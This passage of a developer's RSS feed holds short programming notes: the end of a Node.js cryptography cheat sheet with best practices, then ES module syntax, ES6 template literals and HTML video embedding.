    ciphertext
  );

  return new TextDecoder().decode(decrypted);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Quick Reference&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Generate UUID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.randomUUID()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Random bytes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.randomBytes(n)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash data&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.createHash(&apos;sha256&apos;).update(data).digest(&apos;hex&apos;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HMAC&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.createHmac(&apos;sha256&apos;, secret).update(data).digest(&apos;hex&apos;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Encrypt&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.createCipheriv(algorithm, key, iv)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Decrypt&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.createDecipheriv(algorithm, key, iv)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password hash&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.scrypt(password, salt, keylen, callback)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sign data&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.sign(&apos;sha256&apos;, data, privateKey)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify signature&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.verify(&apos;sha256&apos;, data, publicKey, signature)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compare securely&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto.timingSafeEqual(a, b)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Security Best Practices&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Never use MD5 or SHA1&lt;/strong&gt; for security purposes — they&apos;re broken&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use &lt;code&gt;timingSafeEqual&lt;/code&gt;&lt;/strong&gt; when comparing hashes to prevent timing attacks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Generate fresh IVs&lt;/strong&gt; for each encryption operation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use authenticated encryption&lt;/strong&gt; (AES-GCM) to detect tampering&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Store salts with hashes&lt;/strong&gt; — they don&apos;t need to be secret&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use high iteration counts&lt;/strong&gt; for password hashing (≥100,000 for PBKDF2)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prefer &lt;code&gt;scrypt&lt;/code&gt; or &lt;code&gt;argon2&lt;/code&gt;&lt;/strong&gt; over PBKDF2 for password storage&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><category>node</category><category>javascript</category><author>Zander Martineau</author></item><item><title>ES Module import/export syntax</title><link>https://zander.wtf/notes/es6-module-syntax/</link><guid isPermaLink="true">https://zander.wtf/notes/es6-module-syntax/</guid><description>Import Syntax</description><pubDate>Thu, 27 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;// default exports
export default 42
export default {}
export default []
export default 1 + 2
export default foo
export default function() {}
export default class {}
export default function foo() {}
export default class foo {}

// variables exports
export var foo = 1
export var foo = function() {}
export var bar
export let foo = 2
export let bar
export const foo = 3
export function foo() {}
export class foo {}

// named exports
export {}
export { foo }
export { foo, bar }
export { foo as bar }
export { foo as default }
export { foo as default, bar }

// exports from
export * from &apos;foo&apos;
export {} from &apos;foo&apos;
export { foo } from &apos;foo&apos;
export { foo, bar } from &apos;foo&apos;
export { foo as bar } from &apos;foo&apos;
export { foo as default } from &apos;foo&apos;
export { foo as default, bar } from &apos;foo&apos;
export { default } from &apos;foo&apos;
export { default as foo } from &apos;foo&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Import Syntax&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// default imports
import foo from &apos;foo&apos;
import { default as foo } from &apos;foo&apos;

// named imports
import {} from &apos;foo&apos;
import { bar } from &apos;foo&apos;
import { bar, baz } from &apos;foo&apos;
import { bar as baz } from &apos;foo&apos;
import { bar as baz, xyz } from &apos;foo&apos;

// glob imports
import * as foo from &apos;foo&apos;

// mixing imports
import foo, { baz as xyz } from &apos;foo&apos;
import foo, * as bar from &apos;foo&apos;

// just import
import &apos;foo&apos;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>ES6 templating</title><link>https://zander.wtf/notes/es6-templating/</link><guid isPermaLink="true">https://zander.wtf/notes/es6-templating/</guid><description>or</description><pubDate>Thu, 27 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;const dogs = [
  { name: &apos;Snickers&apos;, age: 2 },
  { name: &apos;Hugo&apos;, age: 8 },
  { name: &apos;Sunny&apos;, age: 1 },
]

const markup = `
  &amp;lt;ul class=&quot;dogs&quot;&amp;gt;
      ${dogs
        .map(
          (dog) =&amp;gt;
            `&amp;lt;li&amp;gt;${dog.name}
              is
              ${dog.age * 7}
              &amp;lt;/li&amp;gt;`
        )
        .join(&apos;&apos;)}
    &amp;lt;/ul&amp;gt;
`
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;or&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const song = {
  name: &apos;Dying to live&apos;,
  artist: &apos;Tupac&apos;,
  featuring: &apos;Biggie Smalls&apos;,
}

const markup = `
    &amp;lt;div class=&quot;song&quot;&amp;gt;
        &amp;lt;p&amp;gt;
            ${song.name} - ${song.artist}
            ${song.featuring ? `(Featuring ${song.featuring})` : &apos;&apos;}
        &amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
`
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>HTML Video</title><link>https://zander.wtf/notes/video/</link><guid isPermaLink="true">https://zander.wtf/notes/video/</guid><description>Autoplay Useful links https://webkit.org/blog/6784/new-video-policies-for-ios/…</description><pubDate>Thu, 27 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;video width=&quot;640&quot; height=&quot;360&quot; controls&amp;gt;
  &amp;lt;!-- MP4 must be first for iPad! --&amp;gt;
  &amp;lt;source src=&quot;__VIDEO__.mp4&quot; type=&quot;video/mp4&quot; /&amp;gt;
  &amp;lt;!-- Safari / iOS video    --&amp;gt;
  &amp;lt;source src=&quot;__VIDEO__.ogv&quot; type=&quot;video/ogg&quot; /&amp;gt;
  &amp;lt;!-- Firefox / Opera / Chrome10 --&amp;gt;
&amp;lt;/video&amp;gt;
&amp;lt;!-- you *must* offer a download link as they may be able to play the file locally. customise this bit all you want --&amp;gt;
&amp;lt;p&amp;gt;
  &amp;lt;strong&amp;gt;Download Video:&amp;lt;/strong&amp;gt; Closed Format:
  &amp;lt;a href=&quot;__VIDEO__.MP4&quot;&amp;gt;&quot;MP4&quot;&amp;lt;/a&amp;gt; Open Format:
  &amp;lt;a href=&quot;__VIDEO__.OGV&quot;&amp;gt;&quot;Ogg&quot;&amp;lt;/a&amp;gt;
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Autoplay&lt;/h2&gt;
&lt;h3&gt;Useful links&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;https://webkit.org/blog/6784/new-video-policies-for-ios/&lt;/li&gt;
&lt;li&gt;https://docs.google.com/presentation/d/1DhW29bTLkDO6JSqp_wLUyByo00nI4krQ9laGQYQEJLU/edit
&lt;ul&gt;
&lt;li&gt;https://bitmovin.com/play-not-play-new-autoplay-policies-safari-11-chrome-64/&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Embedding YouTube/Vimeo etc&lt;/h2&gt;
&lt;h3&gt;YouTube&lt;/h3&gt;
&lt;p&gt;https://developers.google.com/youtube/player_parameters#Manual_IFrame_Embeds&lt;/p&gt;
&lt;h3&gt;Vimeo&lt;/h3&gt;
&lt;p&gt;https://vimeo.zendesk.com/hc/en-us/articles/360001494447-Using-Player-Parameters&lt;/p&gt;
&lt;h3&gt;Useful npm packages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/alanshaw/embed-video&lt;/li&gt;
&lt;li&gt;https://github.com/radiovisual/get-video-id&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item></channel></rss>